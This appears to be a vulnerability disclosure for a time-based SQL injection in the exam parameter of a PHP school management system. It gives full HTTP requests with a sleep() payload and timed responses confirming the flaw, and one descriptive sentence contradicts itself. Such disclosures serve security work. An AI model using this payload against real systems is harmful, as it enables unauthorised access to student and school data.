

SQL injection vulnerability exists in exam parameter of
/view/student_exam_mark_update_form.php file of Complete Web-Based School Management
System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

Request

```
1 GET /std1/view/student_exam_mark_update_form.php?
  exam='%2B(select(0)from(select(sleep(4)))v)%2B' &
  grade=grade&std_index=std_index HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
  x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 16:27:00 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 2180
8
9 <div class="modal msk-fade" id="edit_examMark"
  tabindex="-1" role="dialog" aria-labelledby="
  modalInsertform" aria-hidden="true">
10
11 <div class="modal-dialog ">
12 <!-- Modal content-->
13 <div class="container msk-modal-content">
14 <!--modal-content -->
15 <div class="row ">
16
17 <div class="col-md-4">
18 <div class="panel panel-primary">
19 <div class="panel-heading">
```

Done 2,370 bytes | 4,004 millis

Sleep time is 12s:

Request

```
1 GET /std1/view/student_exam_mark_update_form.php?
  exam='%2B(select(0)from(select(sleep(12)))v)%2B' &
  grade=grade&std_index=std_index HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
  x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 16:26:43 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 2180
8
9 <div class="modal msk-fade" id="edit_examMark"
  tabindex="-1" role="dialog" aria-labelledby="
  modalInsertform" aria-hidden="true">
10
11 <div class="modal-dialog ">
12 <!-- Modal content-->
13 <div class="container msk-modal-content">
14 <!--modal-content -->
15 <div class="row ">
16
17 <div class="col-md-4">
18 <div class="panel panel-primary">
19 <div class="panel-heading">
```

Done 2,370 bytes | 12,005 millis

Payload: exam='%2B(select(0)from(select(sleep(12)))v)%2B'

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>